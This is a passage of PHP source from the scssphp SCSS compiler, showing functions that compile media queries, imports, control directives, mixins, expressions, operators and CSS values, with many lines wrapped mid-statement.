foreach ($query as $kq => $q) {
for ($i = 1; $i < count($q); $i++) {
$value = $this->compileValue($q[$i]);
// the parser had no mean to know if media type or
expression if it was an interpolation
if ($q[0] == Type::T_MEDIA_TYPE &&
(strpos($value, '(') !== false ||
strpos($value, ')') !== false ||
strpos($value, ':') !== false)
) {
$queryList[$kql][$kq][0] =
Type::T_MEDIA_EXPRESSION;
if (strpos($value, 'and') !== false) {
$values = explode('and', $value);
$value = trim(array_pop($values));
while ($v = trim(array_pop($values))) {
$type = Type::T_MEDIA_EXPRESSION;
if (strpos($v, '(') === false
&&
strpos($v, ')') === false
&&
strpos($v, ':') === false
) {
$type = Type::T_MEDIA_TYPE;
}
if (substr($v, 0, 1) === '('
&& substr($v, -1) === ')') {
$v = substr($v, 1, -1);
}
$queryList[$kql][] =
[$type,[Type::T_KEYWORD, $v]];
}
}
if (substr($value, 0, 1) === '('
&& substr($value, -1) === ')') {
$value = substr($value, 1, -1);
}
}
$queryList[$kql][$kq][$i] = [Type::T_KEYWORD, $value];
}
}
}
return $queryList;
}
/**
* Compile media query
*
* @param array $queryList
*
* @return array
*/
protected function compileMediaQuery($queryList)
{
$start = '@media ';
$default = trim($start);
$out = [];
$current = "";
foreach ($queryList as $query) {
$type = null;
$parts = [];
$mediaTypeOnly = true;
foreach ($query as $q) {
if ($q[0] !== Type::T_MEDIA_TYPE) {
$mediaTypeOnly = false;
break;
}
}
foreach ($query as $q) {
switch ($q[0]) {
case Type::T_MEDIA_TYPE:
$newType = array_map([$this,
'compileValue'], array_slice($q, 1));
// combining not and anything else than media type
is too risky and should be avoided
if (! $mediaTypeOnly) {
if (in_array(Type::T_NOT, $newType) || ($type
&& in_array(Type::T_NOT, $type) )) {
if ($type) {
array_unshift($parts, implode('
', array_filter($type)));
}
if (! empty($parts)) {
if (strlen($current)) {
$current .=
$this->formatter->tagSeparator;
}
$current .= implode(' and ',
$parts);
}
if ($current) {
$out[] = $start . $current;
}
$current = "";
$type = null;
$parts = [];
}
}
if ($newType === ['all'] &&
$default) {
$default = $start . 'all';
}
// all can be safely ignored and mixed with
whatever else
if ($newType !== ['all']) {
if ($type) {
$type = $this->mergeMediaTypes($type,
$newType);
if (empty($type)) {
// merge failed : ignore this query
that is not valid, skip to the next one
$parts = [];
$default = ''; // if
everything fail, no @media at all
continue 3;
}
} else {
$type = $newType;
}
}
break;
case Type::T_MEDIA_EXPRESSION:
if (isset($q[2])) {
$parts[] = '('
. $this->compileValue($q[1])
. $this->formatter->assignSeparator
. $this->compileValue($q[2])
. ')';
} else {
$parts[] = '('
. $this->compileValue($q[1])
. ')';
}
break;
case Type::T_MEDIA_VALUE:
$parts[] = $this->compileValue($q[1]);
break;
}
}
if ($type) {
array_unshift($parts, implode(' ',
array_filter($type)));
}
if (! empty($parts)) {
if (strlen($current)) {
$current .= $this->formatter->tagSeparator;
}
$current .= implode(' and ', $parts);
}
}
if ($current) {
$out[] = $start . $current;
}
// no @media type except all, and no conflict?
if (! $out && $default) {
$out[] = $default;
}
return $out;
}
/**
* Merge direct relationships between selectors
*
* @param array $selectors1
* @param array $selectors2
*
* @return array
*/
protected function mergeDirectRelationships($selectors1, $selectors2)
{
if (empty($selectors1) || empty($selectors2)) {
return array_merge($selectors1, $selectors2);
}
$part1 = end($selectors1);
$part2 = end($selectors2);
if (! $this->isImmediateRelationshipCombinator($part1[0])
&& $part1 !== $part2) {
return array_merge($selectors1, $selectors2);
}
$merged = [];
do {
$part1 = array_pop($selectors1);
$part2 = array_pop($selectors2);
if (! $this->isImmediateRelationshipCombinator($part1[0])
&& $part1 !== $part2) {
if
($this->isImmediateRelationshipCombinator(reset($merged)[0])) {
array_unshift($merged, [$part1[0] . $part2[0]]);
$merged = array_merge($selectors1, $selectors2,
$merged);
} else {
$merged = array_merge($selectors1, [$part1],
$selectors2, [$part2], $merged);
}
break;
}
array_unshift($merged, $part1);
} while (! empty($selectors1) && ! empty($selectors2));
return $merged;
}
/**
* Merge media types
*
* @param array $type1
* @param array $type2
*
* @return array|null
*/
protected function mergeMediaTypes($type1, $type2)
{
if (empty($type1)) {
return $type2;
}
if (empty($type2)) {
return $type1;
}
$m1 = '';
$t1 = '';
if (count($type1) > 1) {
$m1= strtolower($type1[0]);
$t1= strtolower($type1[1]);
} else {
$t1 = strtolower($type1[0]);
}
$m2 = '';
$t2 = '';
if (count($type2) > 1) {
$m2 = strtolower($type2[0]);
$t2 = strtolower($type2[1]);
} else {
$t2 = strtolower($type2[0]);
}
if (($m1 === Type::T_NOT) ^ ($m2 === Type::T_NOT)) {
if ($t1 === $t2) {
return null;
}
return [
$m1 === Type::T_NOT ? $m2 : $m1,
$m1 === Type::T_NOT ? $t2 : $t1,
];
}
if ($m1 === Type::T_NOT && $m2 === Type::T_NOT) {
// CSS has no way of representing "neither screen nor
print"
if ($t1 !== $t2) {
return null;
}
return [Type::T_NOT, $t1];
}
if ($t1 !== $t2) {
return null;
}
// t1 == t2, neither m1 nor m2 are "not"
return [empty($m1)? $m2 : $m1, $t1];
}
/**
* Compile import; returns true if the value was something that could
be imported
*
* @param array $rawPath
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
* @param boolean $once
*
* @return boolean
*/
protected function compileImport($rawPath, OutputBlock $out, $once =
false)
{
if ($rawPath[0] === Type::T_STRING) {
$path = $this->compileStringContent($rawPath);
if ($path = $this->findImport($path)) {
if (! $once || ! in_array($path, $this->importedFiles))
{
$this->importFile($path, $out);
$this->importedFiles[] = $path;
}
return true;
}
return false;
}
if ($rawPath[0] === Type::T_LIST) {
// handle a list of strings
if (count($rawPath[2]) === 0) {
return false;
}
foreach ($rawPath[2] as $path) {
if ($path[0] !== Type::T_STRING) {
return false;
}
}
foreach ($rawPath[2] as $path) {
$this->compileImport($path, $out);
}
return true;
}
return false;
}
/**
* Compile child; returns a value to halt execution
*
* @param array $child
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
*
* @return array
*/
protected function compileChild($child, OutputBlock $out)
{
if (isset($child[Parser::SOURCE_LINE])) {
$this->sourceIndex = isset($child[Parser::SOURCE_INDEX]) ?
$child[Parser::SOURCE_INDEX] : null;
$this->sourceLine = isset($child[Parser::SOURCE_LINE]) ?
$child[Parser::SOURCE_LINE] : -1;
$this->sourceColumn = isset($child[Parser::SOURCE_COLUMN]) ?
$child[Parser::SOURCE_COLUMN] : -1;
} elseif (is_array($child) &&
isset($child[1]->sourceLine)) {
$this->sourceIndex = $child[1]->sourceIndex;
$this->sourceLine = $child[1]->sourceLine;
$this->sourceColumn = $child[1]->sourceColumn;
} elseif (! empty($out->sourceLine) && !
empty($out->sourceName)) {
$this->sourceLine = $out->sourceLine;
$this->sourceIndex = array_search($out->sourceName,
$this->sourceNames);
if ($this->sourceIndex === false) {
$this->sourceIndex = null;
}
}
switch ($child[0]) {
case Type::T_SCSSPHP_IMPORT_ONCE:
$rawPath = $this->reduce($child[1]);
if (! $this->compileImport($rawPath, $out, true)) {
$out->lines[] = '@import ' .
$this->compileValue($rawPath) . ';';
}
break;
case Type::T_IMPORT:
$rawPath = $this->reduce($child[1]);
if (! $this->compileImport($rawPath, $out)) {
$out->lines[] = '@import ' .
$this->compileValue($rawPath) . ';';
}
break;
case Type::T_DIRECTIVE:
$this->compileDirective($child[1]);
break;
case Type::T_AT_ROOT:
$this->compileAtRoot($child[1]);
break;
case Type::T_MEDIA:
$this->compileMedia($child[1]);
break;
case Type::T_BLOCK:
$this->compileBlock($child[1]);
break;
case Type::T_CHARSET:
if (! $this->charsetSeen) {
$this->charsetSeen = true;
$out->lines[] = '@charset ' .
$this->compileValue($child[1]) . ';';
}
break;
case Type::T_ASSIGN:
list(, $name, $value) = $child;
if ($name[0] === Type::T_VARIABLE) {
$flags = isset($child[3]) ? $child[3] : [];
$isDefault = in_array('!default', $flags);
$isGlobal = in_array('!global', $flags);
if ($isGlobal) {
$this->set($name[1], $this->reduce($value),
false, $this->rootEnv, $value);
break;
}
$shouldSet = $isDefault &&
(($result = $this->get($name[1], false)) ===
null
|| $result === static::$null);
if (! $isDefault || $shouldSet) {
$this->set($name[1], $this->reduce($value),
true, null, $value);
}
break;
}
$compiledName = $this->compileValue($name);
// handle shorthand syntax: size / line-height
if ($compiledName === 'font' || $compiledName ===
'grid-row' || $compiledName === 'grid-column') {
if ($value[0] === Type::T_VARIABLE) {
// if the font value comes from variable, the
content is already reduced
// (i.e., formulas were already calculated), so we
need the original unreduced value
$value = $this->get($value[1], true, null,
true);
}
$fontValue=&$value;
if ($value[0] === Type::T_LIST &&
$value[1]==',') {
// this is the case if more than one font is given:
example: "font: 400 1em/1.3 arial,helvetica"
// we need to handle the first list element
$fontValue=&$value[2][0];
}
if ($fontValue[0] === Type::T_EXPRESSION &&
$fontValue[1] === '/') {
$fontValue = $this->expToString($fontValue);
} elseif ($fontValue[0] === Type::T_LIST) {
foreach ($fontValue[2] as &$item) {
if ($item[0] === Type::T_EXPRESSION &&
$item[1] === '/') {
$item = $this->expToString($item);
}
}
}
}
// if the value reduces to null from something else then
// the property should be discarded
if ($value[0] !== Type::T_NULL) {
$value = $this->reduce($value);
if ($value[0] === Type::T_NULL || $value ===
static::$nullString) {
break;
}
}
$compiledValue = $this->compileValue($value);
$out->lines[] = $this->formatter->property(
$compiledName,
$compiledValue
);
break;
case Type::T_COMMENT:
if ($out->type === Type::T_ROOT) {
$this->compileComment($child);
break;
}
$out->lines[] = $child[1];
break;
case Type::T_MIXIN:
case Type::T_FUNCTION:
list(, $block) = $child;
$this->set(static::$namespaces[$block->type] .
$block->name, $block);
break;
case Type::T_EXTEND:
foreach ($child[1] as $sel) {
$results = $this->evalSelectors([$sel]);
foreach ($results as $result) {
// only use the first one
$result = current($result);
$this->pushExtends($result, $out->selectors,
$child);
}
}
break;
case Type::T_IF:
list(, $if) = $child;
if ($this->isTruthy($this->reduce($if->cond,
true))) {
return $this->compileChildren($if->children,
$out);
}
foreach ($if->cases as $case) {
if ($case->type === Type::T_ELSE ||
$case->type === Type::T_ELSEIF &&
$this->isTruthy($this->reduce($case->cond))
) {
return
$this->compileChildren($case->children, $out);
}
}
break;
case Type::T_EACH:
list(, $each) = $child;
$list =
$this->coerceList($this->reduce($each->list));
$this->pushEnv();
foreach ($list[2] as $item) {
if (count($each->vars) === 1) {
$this->set($each->vars[0], $item, true);
} else {
list(,, $values) = $this->coerceList($item);
foreach ($each->vars as $i => $var) {
$this->set($var, isset($values[$i]) ?
$values[$i] : static::$null, true);
}
}
$ret = $this->compileChildren($each->children,
$out);
if ($ret) {
if ($ret[0] !== Type::T_CONTROL) {
$this->popEnv();
return $ret;
}
if ($ret[1]) {
break;
}
}
}
$this->popEnv();
break;
case Type::T_WHILE:
list(, $while) = $child;
while ($this->isTruthy($this->reduce($while->cond,
true))) {
$ret = $this->compileChildren($while->children,
$out);
if ($ret) {
if ($ret[0] !== Type::T_CONTROL) {
return $ret;
}
if ($ret[1]) {
break;
}
}
}
break;
case Type::T_FOR:
list(, $for) = $child;
$start = $this->reduce($for->start, true);
$end = $this->reduce($for->end, true);
if (! ($start[2] == $end[2] || $end->unitless())) {
$this->throwError('Incompatible units:
"%s" and "%s".', $start->unitStr(),
$end->unitStr());
break;
}
$unit = $start[2];
$start = $start[1];
$end = $end[1];
$d = $start < $end ? 1 : -1;
for (;;) {
if ((! $for->until && $start - $d == $end)
||
($for->until && $start == $end)
) {
break;
}
$this->set($for->var, new Node\Number($start,
$unit));
$start += $d;
$ret = $this->compileChildren($for->children,
$out);
if ($ret) {
if ($ret[0] !== Type::T_CONTROL) {
return $ret;
}
if ($ret[1]) {
break;
}
}
}
break;
case Type::T_BREAK:
return [Type::T_CONTROL, true];
case Type::T_CONTINUE:
return [Type::T_CONTROL, false];
case Type::T_RETURN:
return $this->reduce($child[1], true);
case Type::T_NESTED_PROPERTY:
list(, $prop) = $child;
$prefixed = [];
$prefix = $this->compileValue($prop->prefix) .
'-';
foreach ($prop->children as $child) {
switch ($child[0]) {
case Type::T_ASSIGN:
array_unshift($child[1][2], $prefix);
break;
case Type::T_NESTED_PROPERTY:
array_unshift($child[1]->prefix[2],
$prefix);
break;
}
$prefixed[] = $child;
}
$this->compileChildrenNoReturn($prefixed, $out);
break;
case Type::T_INCLUDE:
// including a mixin
list(, $name, $argValues, $content) = $child;
$mixin =
$this->get(static::$namespaces['mixin'] . $name, false);
if (! $mixin) {
$this->throwError("Undefined mixin
$name");
break;
}
$callingScope = $this->getStoreEnv();
// push scope, apply args
$this->pushEnv();
$this->env->depth--;
$storeEnv = $this->storeEnv;
$this->storeEnv = $this->env;
// Find the parent selectors in the env to be able to know
what '&' refers to in the mixin
// and assign this fake parent to childs
$selfParent = null;
if (isset($child['selfParent']) &&
isset($child['selfParent']->selectors)) {
$selfParent = $child['selfParent'];
} else {
$parentSelectors =
$this->multiplySelectors($this->env);
if ($parentSelectors) {
$parent = new Block();
$parent->selectors = $parentSelectors;
foreach ($mixin->children as $k => $child) {
if (isset($child[1]) &&
is_object($child[1]) && $child[1] instanceof Block) {
$mixin->children[$k][1]->parent =
$parent;
}
}
}
}
// clone the stored content to not have its scope spoiled
by a further call to the same mixin
// i.e., recursive @include of the same mixin
if (isset($content)) {
$copyContent = clone $content;
$copyContent->scope = $callingScope;
$this->setRaw(static::$namespaces['special'] .
'content', $copyContent, $this->env);
}
if (isset($mixin->args)) {
$this->applyArguments($mixin->args, $argValues);
}
$this->env->marker = 'mixin';
$this->compileChildrenNoReturn($mixin->children,
$out, $selfParent, $this->env->marker . " " . $name);
$this->storeEnv = $storeEnv;
$this->popEnv();
break;
case Type::T_MIXIN_CONTENT:
$env = isset($this->storeEnv) ? $this->storeEnv :
$this->env;
$content =
$this->get(static::$namespaces['special'] .
'content', false, $env);
if (! $content) {
$content = new \stdClass();
$content->scope = new \stdClass();
$content->children =
$this->storeEnv->parent->block->children;
break;
}
$storeEnv = $this->storeEnv;
$this->storeEnv = $content->scope;
$this->compileChildrenNoReturn($content->children,
$out);
$this->storeEnv = $storeEnv;
break;
case Type::T_DEBUG:
list(, $value) = $child;
$fname = $this->sourceNames[$this->sourceIndex];
$line = $this->sourceLine;
$value = $this->compileValue($this->reduce($value,
true));
fwrite($this->stderr, "File $fname on line $line
DEBUG: $value\n");
break;
case Type::T_WARN:
list(, $value) = $child;
$fname = $this->sourceNames[$this->sourceIndex];
$line = $this->sourceLine;
$value = $this->compileValue($this->reduce($value,
true));
fwrite($this->stderr, "File $fname on line $line
WARN: $value\n");
break;
case Type::T_ERROR:
list(, $value) = $child;
$fname = $this->sourceNames[$this->sourceIndex];
$line = $this->sourceLine;
$value = $this->compileValue($this->reduce($value,
true));
$this->throwError("File $fname on line $line ERROR:
$value\n");
break;
case Type::T_CONTROL:
$this->throwError('@break/@continue not permitted
in this scope');
break;
default:
$this->throwError("unknown child type:
$child[0]");
}
}
/**
* Reduce expression to string
*
* @param array $exp
*
* @return array
*/
protected function expToString($exp)
{
list(, $op, $left, $right, /* $inParens */, $whiteLeft,
$whiteRight) = $exp;
$content = [$this->reduce($left)];
if ($whiteLeft) {
$content[] = ' ';
}
$content[] = $op;
if ($whiteRight) {
$content[] = ' ';
}
$content[] = $this->reduce($right);
return [Type::T_STRING, '', $content];
}
/**
* Is truthy?
*
* @param array $value
*
* @return boolean
*/
protected function isTruthy($value)
{
return $value !== static::$false && $value !==
static::$null;
}
/**
* Is the value a direct relationship combinator?
*
* @param string $value
*
* @return boolean
*/
protected function isImmediateRelationshipCombinator($value)
{
return $value === '>' || $value === '+' ||
$value === '~';
}
/**
* Should $value cause its operand to eval
*
* @param array $value
*
* @return boolean
*/
protected function shouldEval($value)
{
switch ($value[0]) {
case Type::T_EXPRESSION:
if ($value[1] === '/') {
return $this->shouldEval($value[2]) ||
$this->shouldEval($value[3]);
}
// fall-thru
case Type::T_VARIABLE:
case Type::T_FUNCTION_CALL:
return true;
}
return false;
}
/**
* Reduce value
*
* @param array $value
* @param boolean $inExp
*
* @return array|\Leafo\ScssPhp\Node\Number
*/
protected function reduce($value, $inExp = false)
{
switch ($value[0]) {
case Type::T_EXPRESSION:
list(, $op, $left, $right, $inParens) = $value;
$opName = isset(static::$operatorNames[$op]) ?
static::$operatorNames[$op] : $op;
$inExp = $inExp || $this->shouldEval($left) ||
$this->shouldEval($right);
$left = $this->reduce($left, true);
if ($op !== 'and' && $op !==
'or') {
$right = $this->reduce($right, true);
}
// special case: looks like css shorthand
if ($opName == 'div' && ! $inParens
&& ! $inExp && isset($right[2])
&& (($right[0] !== Type::T_NUMBER &&
$right[2] != '')
|| ($right[0] === Type::T_NUMBER && !
$right->unitless()))
) {
return $this->expToString($value);
}
$left = $this->coerceForExpression($left);
$right = $this->coerceForExpression($right);
$ltype = $left[0];
$rtype = $right[0];
$ucOpName = ucfirst($opName);
$ucLType = ucfirst($ltype);
$ucRType = ucfirst($rtype);
// this tries:
// 1. op[op name][left type][right type]
// 2. op[left type][right type] (passing the op as first
arg
// 3. op[op name]
$fn = "op${ucOpName}${ucLType}${ucRType}";
if (is_callable([$this, $fn]) ||
(($fn = "op${ucLType}${ucRType}") &&
is_callable([$this, $fn]) &&
$passOp = true) ||
(($fn = "op${ucOpName}") &&
is_callable([$this, $fn]) &&
$genOp = true)
) {
$coerceUnit = false;
if (! isset($genOp) &&
$left[0] === Type::T_NUMBER && $right[0]
=== Type::T_NUMBER
) {
$coerceUnit = true;
switch ($opName) {
case 'mul':
$targetUnit = $left[2];
foreach ($right[2] as $unit => $exp) {
$targetUnit[$unit] =
(isset($targetUnit[$unit]) ? $targetUnit[$unit] : 0) + $exp;
}
break;
case 'div':
$targetUnit = $left[2];
foreach ($right[2] as $unit => $exp) {
$targetUnit[$unit] =
(isset($targetUnit[$unit]) ? $targetUnit[$unit] : 0) - $exp;
}
break;
case 'mod':
$targetUnit = $left[2];
break;
default:
$targetUnit = $left->unitless() ?
$right[2] : $left[2];
}
if (! $left->unitless() && !
$right->unitless()) {
$left = $left->normalize();
$right = $right->normalize();
}
}
$shouldEval = $inParens || $inExp;
if (isset($passOp)) {
$out = $this->$fn($op, $left, $right,
$shouldEval);
} else {
$out = $this->$fn($left, $right, $shouldEval);
}
if (isset($out)) {
if ($coerceUnit && $out[0] ===
Type::T_NUMBER) {
$out = $out->coerce($targetUnit);
}
return $out;
}
}
return $this->expToString($value);
case Type::T_UNARY:
list(, $op, $exp, $inParens) = $value;
$inExp = $inExp || $this->shouldEval($exp);
$exp = $this->reduce($exp);
if ($exp[0] === Type::T_NUMBER) {
switch ($op) {
case '+':
return new Node\Number($exp[1], $exp[2]);
case '-':
return new Node\Number(-$exp[1], $exp[2]);
}
}
if ($op === 'not') {
if ($inExp || $inParens) {
if ($exp === static::$false || $exp ===
static::$null) {
return static::$true;
}
return static::$false;
}
$op = $op . ' ';
}
return [Type::T_STRING, '', [$op, $exp]];
case Type::T_VARIABLE:
return $this->reduce($this->get($value[1]));
case Type::T_LIST:
foreach ($value[2] as &$item) {
$item = $this->reduce($item);
}
return $value;
case Type::T_MAP:
foreach ($value[1] as &$item) {
$item = $this->reduce($item);
}
foreach ($value[2] as &$item) {
$item = $this->reduce($item);
}
return $value;
case Type::T_STRING:
foreach ($value[2] as &$item) {
if (is_array($item) || $item instanceof \ArrayAccess) {
$item = $this->reduce($item);
}
}
return $value;
case Type::T_INTERPOLATE:
$value[1] = $this->reduce($value[1]);
if ($inExp) {
return $value[1];
}
return $value;
case Type::T_FUNCTION_CALL:
return $this->fncall($value[1], $value[2]);
case Type::T_SELF:
$selfSelector = $this->multiplySelectors($this->env);
$selfSelector = $this->collapseSelectors($selfSelector,
true);
return $selfSelector;
default:
return $value;
}
}
/**
* Function caller
*
* @param string $name
* @param array $argValues
*
* @return array|null
*/
protected function fncall($name, $argValues)
{
// SCSS @function
if ($this->callScssFunction($name, $argValues, $returnValue)) {
return $returnValue;
}
// native PHP functions
if ($this->callNativeFunction($name, $argValues, $returnValue))
{
return $returnValue;
}
// for CSS functions, simply flatten the arguments into a list
$listArgs = [];
foreach ((array) $argValues as $arg) {
if (empty($arg[0])) {
$listArgs[] = $this->reduce($arg[1]);
}
}
return [Type::T_FUNCTION, $name, [Type::T_LIST, ',',
$listArgs]];
}
/**
* Normalize name
*
* @param string $name
*
* @return string
*/
protected function normalizeName($name)
{
return str_replace('-', '_', $name);
}
/**
* Normalize value
*
* @param array $value
*
* @return array
*/
public function normalizeValue($value)
{
$value = $this->coerceForExpression($this->reduce($value));
switch ($value[0]) {
case Type::T_LIST:
$value = $this->extractInterpolation($value);
if ($value[0] !== Type::T_LIST) {
return [Type::T_KEYWORD,
$this->compileValue($value)];
}
foreach ($value[2] as $key => $item) {
$value[2][$key] = $this->normalizeValue($item);
}
return $value;
case Type::T_STRING:
return [$value[0], '"',
[$this->compileStringContent($value)]];
case Type::T_NUMBER:
return $value->normalize();
case Type::T_INTERPOLATE:
return [Type::T_KEYWORD, $this->compileValue($value)];
default:
return $value;
}
}
/**
* Add numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opAddNumberNumber($left, $right)
{
return new Node\Number($left[1] + $right[1], $left[2]);
}
/**
* Multiply numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opMulNumberNumber($left, $right)
{
return new Node\Number($left[1] * $right[1], $left[2]);
}
/**
* Subtract numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opSubNumberNumber($left, $right)
{
return new Node\Number($left[1] - $right[1], $left[2]);
}
/**
* Divide numbers
*
* @param array $left
* @param array $right
*
* @return array|\Leafo\ScssPhp\Node\Number
*/
protected function opDivNumberNumber($left, $right)
{
if ($right[1] == 0) {
return [Type::T_STRING, '', [$left[1] . $left[2] .
'/' . $right[1] . $right[2]]];
}
return new Node\Number($left[1] / $right[1], $left[2]);
}
/**
* Mod numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opModNumberNumber($left, $right)
{
return new Node\Number($left[1] % $right[1], $left[2]);
}
/**
* Add strings
*
* @param array $left
* @param array $right
*
* @return array|null
*/
protected function opAdd($left, $right)
{
if ($strLeft = $this->coerceString($left)) {
if ($right[0] === Type::T_STRING) {
$right[1] = '';
}
$strLeft[2][] = $right;
return $strLeft;
}
if ($strRight = $this->coerceString($right)) {
if ($left[0] === Type::T_STRING) {
$left[1] = '';
}
array_unshift($strRight[2], $left);
return $strRight;
}
return null;
}
/**
* Boolean and
*
* @param array $left
* @param array $right
* @param boolean $shouldEval
*
* @return array|null
*/
protected function opAnd($left, $right, $shouldEval)
{
$truthy = ($left === static::$null || $right === static::$null) ||
($left === static::$false || $left === static::$true)
&&
($right === static::$false || $right === static::$true);
if (! $shouldEval) {
if (! $truthy) {
return null;
}
}
if ($left !== static::$false && $left !== static::$null) {
return $this->reduce($right, true);
}
return $left;
}
/**
* Boolean or
*
* @param array $left
* @param array $right
* @param boolean $shouldEval
*
* @return array|null
*/
protected function opOr($left, $right, $shouldEval)
{
$truthy = ($left === static::$null || $right === static::$null) ||
($left === static::$false || $left === static::$true)
&&
($right === static::$false || $right === static::$true);
if (! $shouldEval) {
if (! $truthy) {
return null;
}
}
if ($left !== static::$false && $left !== static::$null) {
return $left;
}
return $this->reduce($right, true);
}
/**
* Compare colors
*
* @param string $op
* @param array $left
* @param array $right
*
* @return array
*/
protected function opColorColor($op, $left, $right)
{
$out = [Type::T_COLOR];
foreach ([1, 2, 3] as $i) {
$lval = isset($left[$i]) ? $left[$i] : 0;
$rval = isset($right[$i]) ? $right[$i] : 0;
switch ($op) {
case '+':
$out[] = $lval + $rval;
break;
case '-':
$out[] = $lval - $rval;
break;
case '*':
$out[] = $lval * $rval;
break;
case '%':
$out[] = $lval % $rval;
break;
case '/':
if ($rval == 0) {
$this->throwError("color: Can't divide
by zero");
break 2;
}
$out[] = (int) ($lval / $rval);
break;
case '==':
return $this->opEq($left, $right);
case '!=':
return $this->opNeq($left, $right);
default:
$this->throwError("color: unknown op
$op");
break 2;
}
}
if (isset($left[4])) {
$out[4] = $left[4];
} elseif (isset($right[4])) {
$out[4] = $right[4];
}
return $this->fixColor($out);
}
/**
* Compare color and number
*
* @param string $op
* @param array $left
* @param array $right
*
* @return array
*/
protected function opColorNumber($op, $left, $right)
{
$value = $right[1];
return $this->opColorColor(
$op,
$left,
[Type::T_COLOR, $value, $value, $value]
);
}
/**
* Compare number and color
*
* @param string $op
* @param array $left
* @param array $right
*
* @return array
*/
protected function opNumberColor($op, $left, $right)
{
$value = $left[1];
return $this->opColorColor(
$op,
[Type::T_COLOR, $value, $value, $value],
$right
);
}
/**
* Compare number1 == number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opEq($left, $right)
{
if (($lStr = $this->coerceString($left)) && ($rStr =
$this->coerceString($right))) {
$lStr[1] = '';
$rStr[1] = '';
$left = $this->compileValue($lStr);
$right = $this->compileValue($rStr);
}
return $this->toBool($left === $right);
}
/**
* Compare number1 != number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opNeq($left, $right)
{
if (($lStr = $this->coerceString($left)) && ($rStr =
$this->coerceString($right))) {
$lStr[1] = '';
$rStr[1] = '';
$left = $this->compileValue($lStr);
$right = $this->compileValue($rStr);
}
return $this->toBool($left !== $right);
}
/**
* Compare number1 >= number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opGteNumberNumber($left, $right)
{
return $this->toBool($left[1] >= $right[1]);
}
/**
* Compare number1 > number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opGtNumberNumber($left, $right)
{
return $this->toBool($left[1] > $right[1]);
}
/**
* Compare number1 <= number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opLteNumberNumber($left, $right)
{
return $this->toBool($left[1] <= $right[1]);
}
/**
* Compare number1 < number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opLtNumberNumber($left, $right)
{
return $this->toBool($left[1] < $right[1]);
}
/**
* Three-way comparison, aka spaceship operator
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opCmpNumberNumber($left, $right)
{
$n = $left[1] - $right[1];
return new Node\Number($n ? $n / abs($n) : 0, '');
}
/**
* Cast to boolean
*
* @api
*
* @param mixed $thing
*
* @return array
*/
public function toBool($thing)
{
return $thing ? static::$true : static::$false;
}
/**
* Compiles a primitive value into a CSS property value.
*
* Values in scssphp are typed by being wrapped in arrays, their format
is
* typically:
*
* array(type, contents [, additional_contents]*)
*
* The input is expected to be reduced. This function will not work on
* things like expressions and variables.
*
* @api
*
* @param array $value
*
* @return string
*/
public function compileValue($value)
{
$value = $this->reduce($value);
switch ($value[0]) {
case Type::T_KEYWORD:
return $value[1];
case Type::T_COLOR:
// [1] - red component (either number for a %)
// [2] - green component
// [3] - blue component
// [4] - optional alpha component
list(, $r, $g, $b) = $value;
$r = round($r);
$g = round($g);
$b = round($b);
if (count($value) === 5 && $value[4] !== 1) { //
rgba
$a = new Node\Number($value[4], '');
return 'rgba(' . $r . ', ' . $g .
', ' . $b . ', ' . $a . ')';
}
$h = sprintf('#%02x%02x%02x', $r, $g, $b);
// Converting hex color to short notation (e.g. #003399 to
#039)
if ($h[1] === $h[2] && $h[3] === $h[4] &&
$h[5] === $h[6]) {
$h = '#' . $h[1] . $h[3] . $h[5];
}
return $h;
case Type::T_NUMBER:
return $value->output($this);
case Type::T_STRING:
return $value[1] . $this->compileStringContent($value) .
$value[1];
case Type::T_FUNCTION:
$args = ! empty($value[2]) ?
$this->compileValue($value[2]) : '';
return "$value[1]($args)";
case Type::T_LIST:
$value = $this->extractInterpolation($value);
if ($value[0] !== Type::T_LIST) {
return $this->compileValue($value);
}
list(, $delim, $items) = $value;
if ($delim !== ' ') {
$delim .= ' ';
}
$filtered = [];
foreach ($items as $item) {
if ($item[0] === Type::T_NULL) {
continue;
}
$filtered[] = $this->compileValue($item);
}
return implode("$delim", $filtered);
case Type::T_MAP:
$keys = $value[1];
$values = $value[2];
$filtered = [];
for ($i = 0, $s = count($keys); $i < $s; $i++) {
$filtered[$this->compileValue($keys[$i])] =
$this->compileValue($values[$i]);
}
array_walk($filtered, function (&$value, $key) {
$value = $key . ': ' . $value;
});
return '(' . implode(', ', $filtered) .
')';
case Type::T_INTERPOLATED:
// node created by extractInterpolation
list(, $interpolate, $left, $right) = $value;
list(,, $whiteLeft, $whiteRight) = $interpolate;
$left = count($left[2]) > 0 ?
$this->compileValue($left) . $whiteLeft :
'';
$right = count($right[2]) > 0 ?
$whiteRight . $this->compileValue($right) :
'';
return $left . $this->compileValue($interpolate) .
$right;
case Type::T_INTERPOLATE:
// strip quotes if it's a string
$reduced = $this->reduce($value[1]);
switch ($reduced[0]) {
case Type::T_LIST:
$reduced =
$this->extractInterpolation($reduced);
if ($reduced[0] !== Type::T_LIST) {
break;
}
list(, $delim, $items) = $reduced;
if ($delim !== ' ') {
$delim .= ' ';
}
$filtered = [];
foreach ($items as $item) {
if ($item[0] === Type::T_NULL) {
continue;
}
$temp =
$this->compileValue([Type::T_KEYWORD, $item]);
if ($temp[0] === Type::T_STRING) {
$filtered[] =
$this->compileStringContent($temp);
} elseif ($temp[0] === Type::T_KEYWORD) {
$filtered[] = $temp[1];
} else {
$filtered[] =
$this->compileValue($temp);
}
}
$reduced = [Type::T_KEYWORD,
implode("$delim", $filtered)];
break;
case Type::T_STRING:
$reduced = [Type::T_KEYWORD,
$this->compileStringContent($reduced)];
break;
case Type::T_NULL:
$reduced = [Type::T_KEYWORD, ''];
}
return $this->compileValue($reduced);
case Type::T_NULL:
return 'null';
default:
$this->throwError("unknown value type:
$value[0]");
}
}
/**
